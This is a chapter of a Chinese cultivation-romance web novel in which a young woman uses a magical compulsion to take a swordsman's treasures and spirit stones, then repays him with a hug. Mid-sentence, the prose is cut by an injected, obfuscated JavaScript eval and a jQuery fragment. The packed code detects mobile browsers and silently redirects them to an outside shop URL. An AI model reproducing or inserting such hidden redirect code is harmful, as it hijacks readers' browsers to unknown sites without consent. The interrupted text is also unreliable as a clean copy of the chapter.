上回来这里,燕策白被毒发的煎熬占据了所有心神,满脑子只剩下找到任妙了,今日第二次踏进来,他才忍不住稍作端详屋内陈设。
这里本就是间柴房,没有住人的功用,窗户太高太小,即使白天也不太能漏进多少阳光,要通风也只能敞开房门。室内窄小但纤尘不染,物品按照类型归在一处,小箱子整整齐齐码作一排,连被子都叠成方块靠在墙边。
相比弟子舍两到三人一间的配置,此处地方偏僻,平日里人气寥寥,难免孤寂,但由屋内情形看来,任妙应当是独自居住也能生活得很好的人。
他注意到门边木架上整齐摆满的丹药葫芦,皱了皱眉。
她囤这么多聚灵丹做什么?倒卖?可这种丹药十分常见,助人聚灵的功效也只对未至乌境的修者有用,囤这样大的数目,恐怕会卖不出去砸在手里吧。
身后呼噜呼噜喝汤的声音打断了他的思绪。燕策白转过头,便见任妙捧着比她脸还大的金钵,正坐在一边吃他做坏的馄饨汤。
她吃得很香,每一口都大,两腮被撑得鼓起来,偶尔吃到肉就停下来嚼一会,面上没有一丝为难或犹豫,眉眼轻快,一副大快朵颐的模样,不知道的还以为在吃什么山珍海味。
她见燕策白走过来,伸出两手,把金钵递到他眼下。燕策白低头一瞧,钵中除了些许油花,完全干干净净、一滴不剩。
他不由得愣了一下,心里头涌起一股奇异的感受。
若是他自己要吃,这样口感卖相毫无可取之处的东西他必不会多看一眼,绝无可能像任妙这样,不仅毫不介意地入口,还吃得如此干净。
他过去练剑或比试时常有人观战,众人每每惊呼鼓掌,他总是觉得吵闹。现下却发现,做饭一事上,原来有人捧场是这样叫人开心,一种陌生的满足感随着她的咀嚼无限膨胀,仿佛沾水的面絮被按拍揉搓,一下发酵成了大上许多倍的面团。
燕策白突然冒出一个念头。
不知她下回想吃什么?
任妙手臂本来就酸,一直举着钵不见燕策白接,边擦嘴边不解地抬头看他,却见他正盯着吃光的钵底一直发呆,紧接着头顶的数字跳了跳,跃动着跑上了“-80”。
有这么感动吗?任妙一噎。
说实话燕策白做成这样能好吃到哪去,她只是不习惯浪费食物,从前打三份工时她什么没吃过,为了等他做完,她都快饿昏迷了,这时候给她什么她都会吃下去的。
“洗碗。”她又往前递了递。
燕策白回魂,乖乖捏了个清洗诀,下一秒两只摊开的手掌十分自然地拱到他跟前:“看看宝贝。”
燕策白突然后退两步,紧张道:“什么?”
“看看宝贝啊,”任妙抬起眼睛看他,“你袋子里还有什么好东西?金的银的玉的珠的,值钱的都拿出来给我玩玩。”
哦,是叫这个宝贝。燕策白摸了摸鼻子。
咦?他刚刚是不是稍微抵抗了一会,没有马上被迫行动?
他脑中迅速过了一遍方才直接触碰任妙的时刻。综合上次的推测看,会不会是……
只要五天内接触的次数和程度达到,之后这条遵守命令的规则就会松动?也不必每次一看见她就理智尽失了?
燕策白还没想清楚,面前摊开的手掌却不耐烦的动了动。
任妙刚准备开口催他,对面就抛来一颗流光溢彩的剔透明珠,她下意识接了个满怀,被水波般轻柔浮动的光晕晃得微微眯眼。
“百年鲛珠,”他道,“西海秘境中前辈所赠。”
余光中又飞来一样,任妙赶紧伸手接住。这物事尺寸不小,颇有分量,触手温凉细腻,其上更是惊人地雕刻着一整幅山海图,细看之下隐隐有风云流动之感。
“游丝玉雕剑托。仙盟上一年的新年贺礼。”
第三样金光闪烁,拿在手里沉甸甸的,雕作一只神兽模样,豺身龙首,剑齿渊口,模样凶勇刚烈,瞪出的眼睛栩栩如生。
“金睚眦镇纸。前几年内门春擂夺魁的彩头。”
接着是吞口镀金的弯刀,缀满宝石的银护臂,薄如蝉翼的金凤翅发冠,金线穿起来的古董钱币,实心的金镶玉小佛像,成套的冰种翡翠首饰……
不过几个来回,各色各样的金银玉器就将任妙坐的位置淹没了,她手上怀里都光彩熠燿,身周还散落着不少丁零当啷的好东西,她坐在中间稍动一动,就引出一连串悦耳的脆响。
任妙呆呆地环顾四周。
这可真是……
太爽了!
她双眼发亮,爱不释手地摸摸这个,摸摸那个,手指描过每一样物件的纹路,凑上去用鼻子嗅嗅它们的气味,在心里不停计算每样宝贝可能的价钱,越算越兴奋,越算越有劲。
燕策白一边看着她傻瓜一样把脑袋往宝物堆里拱,一边想到上次被她张嘴索要的一千灵石,忽然一下就通了。
原来她喜欢钱。
好俗。他第一反应想道。
修真界已经成名的大家大多清心寡欲,一心向道,不为金银外物所动,也留下许多传扬后世的美名,故而众人一直更推崇身在物外、超脱世俗的清高观念,若有人表露自己视财如命,定会被众人鄙夷,视其为庸俗之人,难登大道。
燕策白想到这里,眼前的庸俗之人忽然更加张狂,双手抱着身周的东西,腰腿顺势往下滑,脑袋向后靠去,整个人完完全全躺进了财宝堆里,像是感受不到一点被硌的痛感,脸上还洋溢着幸福的笑容,得意得像是掉进油壶里的小老鼠。
燕策白:“……”
如果是任妙的话,恐怕也不在乎别人说她庸不庸俗吧。
他这厢还在神游,任妙却忽然出声了。
“我要这个!”
燕策白还以为她说的是哪一件,目光转过去,却见她以自己为中心,颇为嚣张地伸开手臂画了个大圈:“送我吧燕师兄!”
燕策白无语凝噎。
你直接说全都要不就行了!而且他根本就不能反对啊,这跟打劫有什么区别!
他在心里长叹口气,开始劝慰自己:罢了罢了,反正这些华而不实的东西从来都是在他储物袋里积灰的命,样样都有来头有因由的,他也没办法卖掉换钱,她要玩得高兴,也算物尽其用了……
“再给我转点灵石,”任妙眨巴眨巴眼睛,这仰视的姿态,竟显得她有了些可怜兮兮的味道,“就……十万吧。”
多少?
十万?!
什么人啊,这是什么人啊!她在说什么话她自己知道吗?
燕策白不得不怒了。他真想用剑敲开她脑壳,好看看里边究竟装了多少坏水。
丹修能卖丹药,器修能卖法器,符修能卖符箓,剑修打打杀杀拼来的材料往往还要留一半为自己打算,平日还要花大价钱为佩剑温养、淬炼、打磨,故而剑修们都是出了名的穷苦。
虽说燕策白是较为顶尖的那一批,但镇阙这剑本身脾气就大,养
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17673980|206399||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
它需要的花费只多不少,而且他比起普通剑修,也不过是多了些赢取奖金的机会罢了,并不代表他积累了很多财富。
他昨日才看过自己钱袋积蓄,不多不少,刚好是任妙伸手要的十万多灵石!
全给她了他怎么办!镇阙又怎么办!
任妙看见他面色黑得仿佛锅底,动作挣扎着抵抗了好一会,还是没能扛过命令的力量,身体僵硬缓慢得如同干尸,半晌才掏出腰牌贴上她的,将整整十万移到她名下。
她看了一眼,燕策白账上唯剩一千灵石了。
一千灵石……
这不是还有挺多的嘛!
镇阙受到他心绪的影响,忽然跟着暴躁起来,在背上微微震颤着,将燕策白身周空气都荡出不小的涟漪,似乎只等着他一声令下,便将对面不识好歹的家伙劈成两半。
任妙仿佛没看见似的,慢条斯理收好腰牌,把地上的宝物用脚轻轻拨到旁边,走到燕策白跟前,好奇地端详他微微发红的眼睛。
哦哟,生气了。
不过任妙早就想好了,她道:“你先别激动啊,我又没说白拿你的。”
燕策白此时无比痛恨体内操控自己的妖物,拼命调动身体力量,全心对付体内汹涌的压制,可那压力就像镜子的另一面,似乎能够随着他强弱产生变化,总是死死压他一头,控制住他不得出格,不得放肆。
他用力到双眼发红,没能分出心思听任妙在说的话,下一刻怀里却忽然撞进了什么,既软又热,鲜活馨香,紧紧贴着他身体,他双臂被自然分到身侧,腰上被暖洋洋地围了起来,明明撞过来的力道轻飘飘的,却叫他猛一个趔趄,接连退了好几步。
他呆呆低下头,看见任妙卡着一片落叶的发顶,或许是方才在外边做饭时掉下来的。她脑袋靠在他胸上,双臂完完全全圈住他,从上往下瞧,能看见她挤着自己胸口微微变形的脸颊,两个人腰腹近得几乎贴在一处,腰带上的金铁在摇晃中轻轻相击,发出微弱暧昧的细响,姑娘家垂到前面的长辫子同他的头发缠在一起,两股黑亮的溪水相互交融,不分你我,好似就此汇作同一条墨河。
“你不是挺喜欢我抱你吗?”
任妙闷闷的声音从胸膛传来,带起肋骨间的轻微振动,每个字落下时都好像一支鼓槌,咚,咚,咚,将他的心搅得七上八下,乱成一团。
“我也没打算白吃白拿你的好处,”她声音还带着些小人得志的得意,“所以给你抱一会,这样总行了……唔。”
一股大力猛地在她背后收紧,燕策白的手臂像铁箍,把任妙密不可分地扣在怀里。她心想着自己理亏,稍微忍耐了几秒,结果燕策白得寸进尺,更使劲地把她往自己身上按。
差不多得了,怎么还来劲了呢?
任妙忍无可忍,费了好大力气把声音挤出来:“停……燕策白,松手退后!”
一声令下,燕策白手臂松了松劲,却没有彻底放开她。
任妙见这情形有点心慌,唯恐自己的命令不灵了,更扬声道:“不能再抱了,松手!”
燕策白终于松手。
任妙方才一时激动,急得眼中水光潋滟,头发也被燕策白毫无章法的力道弄乱了,嘴唇一直被压在衣领上,摩擦得分外红润,胸口起伏,气喘吁吁,一副被揉乱的模样。
她正要抬起手来控诉他,谁知一阵疾风掠过,回过神来时,竟只见屋门吱呀呀地开开合合了。
下一道命令说出口前,燕策白落荒而逃。